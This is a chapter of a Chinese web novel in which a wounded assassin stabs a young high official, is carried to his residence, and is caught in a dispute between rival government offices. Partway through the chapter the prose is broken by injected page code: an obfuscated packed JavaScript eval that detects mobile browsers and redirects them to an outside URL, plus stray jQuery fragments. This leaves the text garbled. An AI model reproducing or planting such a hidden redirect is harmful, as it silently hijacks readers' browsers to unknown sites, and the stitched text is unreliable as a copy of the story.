2. 戏幕起
作品:《美强惨权臣捡了只狐狸杀手回家》 来不及了。
他已然提了一盏灯,照着别枝的脸。
灯光太晃眼,别枝只好眯起眼睛。
她蹲在地上,衣衫褴褛,在此境地也顾不得自己的姿态是不是不合礼数。
或者说,其实她的存在,本就不合礼数。
一步、两步……
别枝视线有些模糊,只好在心中默数着步数。
在徐明疏近身的瞬间,她将手中紧握的匕首脱手而出,往他细白的颈间刺去。
弱肉强食,你死我活,以命搏命。
这便是她信奉的生存之道。
徐明疏对她毫无防备,躲闪不及,温热的血滴落,伤口横亘在喉头,宛如一条断掉的红绳。
不同于平常人,他连受伤都是优雅的。有了一丝裂痕的皮囊让他从天上的谪仙变成了地上的凡人,倒是显得愈发诱人。
只这一秒,别枝就知道,在这个男人面前,命运始终会快理智一步。
而这,注定是一个杀手,致命的死穴。
在瞬息万变的刀光剑影下,一秒足以让局面天翻地覆。即使别枝很快回了神,也无法再撑着饥寒交迫的躯体与把她包围住的官兵殊死一搏。
“你竟敢刺杀朝廷命官?”
她被压跪在雪地里,浑身都是冷的。
没想到这寒夜里,唯一的温度竟是那姑娘玉佩上残存的余温。
她攥紧了手中的玉佩,凌厉的棱角硌得她掌心生疼。
“大人恕罪,民女不察,这才误伤了大人。”
徐明疏仔细地用一方忍冬纹帕子系住了伤口,终于舍得看她一眼。
她仰着头,分明是桀骜不驯的模样。
即使她跪在这里,道一句“恕罪”,那也不是真正意义上的臣服。
徐明疏走到别枝身侧,探了探梁惜瑶的鼻息。可怜梁阁老刚到及笄之年的女儿,尚未出嫁,便已长殇。
“大人,这个女人,怎么处置?”
“带走,回府。”
徐明疏冷漠无情地丢了四个字,把她打横抱起,拿自己的大氅把她裹住,刻意遮掩住了她破败衣衫下露出的三寸腰肢。
别枝不习惯这般亲昵的姿势,但腿上的伤叫嚣着,一点也动弹不得。
不知是不是错觉,她好像闻到了他身上若有若无的草药味。
“大人,民女真的只是恰巧路过此地……”
徐明疏轻笑一声:“是不是恰巧,一查便知。”
于是别枝就这样被一个陌生的大官人算不上温柔地抱上了马车,扔到了纱帐里。
别枝扒着帷幔,也不管腿上的伤挣扎着站起来。
“民女不敢与大人同在一轩,请大人自重。”
徐明疏偏过头去压抑着轻咳了几声,一边把袍子拢得更紧了些,一边起身虚扶眼前的姑娘。
他没想到眼前这个浑身是伤的女人还能说出这样话来,嗤笑道:“罪人是没有资格选的,亦没有颜面可言。”
别枝毫不退缩地对上他的眼睛。
她像是一株野草,生于乱世,长于乱世,看似所有人都能蹂躏一番,实则早已深深扎根于此,烧不尽,碾不碎。
“朱门酒肉臭,路有冻死骨。”
“大人身居庙堂之高,也该知道人言可畏的道理。您可以说民女是嫌犯,但民女不是罪人。”
她是民,他是官。
她在下,他在上。
风雪从窗户的缝隙里渗进来,徐明疏一时竟有些看不真切,这个女人是不是真的如同他一开始所想的那样,只是个图谋不轨的贱民。
**
“小姐,你终于醒啦!那日你受了很重的伤,一直昏睡了三天才醒。”翠音忙把手中的针线活计停下,给别枝递了一杯温热的水。
别枝环顾四周。
没想到自己是在平常人家的居室,而非监狱的囚牢。
“多谢。”她接过杯子,即使口渴难耐,嘴唇已干得起皮,却没有喝。
天令阁六年,她唯有处处小心,像个惊弓之鸟一样活着,才得以保全自身,现下才有命坐在这里。
趁着翠音背过身去收拾东西的片刻,她用手边发簪飞快地在茶水里搅了搅,确认它没下毒后才大口大口地吞下去,但警觉仍不减。
“这里是……”
“啊,忘了说了,这里是怡澜别苑。我叫翠音,小姐在这的这些时日就由我来照顾啦。诶,这几日大人日日前来,我还从未见过大人对谁这般上心呢。”翠音一边说,一边帮别枝挽起秀发。
别枝刚放下去的一颗心又悬了起来。
上心?
恐怕他上心的不是她这个“罪人”,而是那个咽了气权贵之女吧。
这样的时局下,除了她自己,又有谁会在意她?
天道不公。她所求的公道,要靠自己去争。
她打量着这个鬓角簪着鲜花的侍女,新奇地打量周围素雅的陈设。桌案与床铺以屏风隔开,窗外缀着几枝含苞待放的梅。
年关将近,但这间屋子好像和世俗有一道无形的屏障,把热闹隔在了外头。
白墙上挂着一副画,画上是一个杏花雨里骑着白马的少年。
画的左边飘逸的字体写着,元康十三年四月,魏庭晚赠。
宵小之辈,附庸风雅。
别枝这样评价道。
翠音一口一个小姐,倒是让别枝不自在起来。
年年岁岁花相似,岁岁年年人不同。
时过境迁,她早已不是那个要人服侍的大小姐了。
于是她摇摇头:“不必对我卑躬屈膝,也不用再叫我小姐,叫我别枝就好。你若不嫌,叫我一声姐姐也好。”
“那……”翠音咯咯地笑起来,“别枝姐姐。”
别枝恍惚了很久才抿出一个温和的笑来。
她似乎已经许久没有这样的情绪了。
“诶,”别枝应着,“对了,你们家大人,姓甚名谁啊?”
这个拉拢人心套话的好机会她可不会放过。
“他啊,可是最年轻的大理寺卿徐明疏,徐大人。”
翠音说这话时充满了仰慕,连尾音都不自觉地上扬起来。
大理寺卿。
那可是查明当年家门惨案的好机会啊。
别枝眼睛咕噜一转,顿时心生一出“美人计”。
反正她已经是惯犯了,多这一个不多,少这一个不少。
再说了,这徐大人长得还是极为美貌的,她咽了咽口水,反正怎么都不算亏。
别枝想起那枚质地精良的玉佩不见了踪迹,在塌边乱摸一通。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303266|167183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“姐姐可是在找这个?当日请大夫来救治,你死死握着它,怎么都不肯松手。想必这枚玉佩,一定是姐姐极为重要的东西。”
笑话,她只是觉得这玩意值钱罢了。
别枝一把夺过那枚凤凰纹样的玉佩放入随身携带的小匣子里,摸了摸里面的青铜麒麟令牌还在,松下一口气,突然意识到这里也不会有人和她抢,不好意思地笑了笑。
这令牌本是她逃跑时阴差阳错带上的东西,没想到却救了她一命。
想来这东西,应该对天令阁豢养的死士们还有些用处。
刚才动作太大牵动了身上密密麻麻的伤口,她倒吸一口凉气,咬着下唇才没惨叫出声来。
翠音看得心惊,“别枝姐姐!这几日万万不可随意走动!大夫说了,你腿上的奇伤,虽伤筋骨,但不需多少时日还是能恢复如初的。”
这么一说,手持那梅花针之人,并未真的下死手,倒更像是救了她一命。
她仔细想想,却想不起来天令阁何时有这么一个人会卖她一个恩情。
无用的情感在那里只会是被人拿捏的软肋。
翠音这样大方开朗的性格,着实不像是一个奴婢。别枝想起春莺,她要是还活着,应该也是这般年纪。
若非六年前的变故,她和姐姐应该还能在后山无忧无虑地放纸鸢吧。
可惜一切都回不去了。
话音未落,三五侍卫破门而入,窗外树叶上的积雪簌簌而落,鸟雀四散。
“刑部要人,我等前来捉拿嫌犯入狱审问,无关人等速速让开!”
坐以待毙从来不是别枝的处事之道,她脑子转得飞快,那侍卫话音未落,她不知哪来的气力拔腿就跑,打开窗户翻了出去。
却不料还没安稳落地,便被人捏住了后脖颈。
“哦?我怎么记得,大理寺查案,监察司无权过问呢?”
徐明疏披着一身莲花纹白色狐毛大氅,单手提着正要逃跑的别枝,徐步而来,愠怒道,“从什么时候开始,你们监察司,也敢抢我大理寺的人了?”
监察司和大理寺分权,一直不对付。
帝王生怕一家独大,有意让他们争来争去,所以争了这么好些年,人都换了一批又一批了,也没分出个胜负来。
那一群听命行事的人听见徐明疏的话,被他的权势压过一头,竟真的就这么空着手走了。
别枝一个“谢”字还没说出口,便被徐明疏扔出来的短刀堵住了嘴。
徐明疏危险地眯起眼,“你一个民女,又无符节又无银两,刚到京城就在荒郊野岭里撞上阁老的女儿惨死,真是巧得很呐。”
他随意坐下,却仍旧是一副仪态端方的模样。
乍一看让人以为是哪位大师精心雕琢的制品。
而颈上那一道未消的红痕,就像是造物主不允许如此完美的皮囊存在的恶趣味。
当然,他们心里都清楚,这到底是谁的恶劣手笔。
不慌不忙地倒了一盏茶,话语中不辨喜怒:“说说吧,姓甚名谁,是怎么到的京城?”
是了,他看似谦谦君子,若不是他揭开面具露出獠牙,别枝险些都要忘了眼前这人是何等风云人物。
最年轻的大理寺卿,怎会没有手段。
她微一欠身:“民女,别枝。”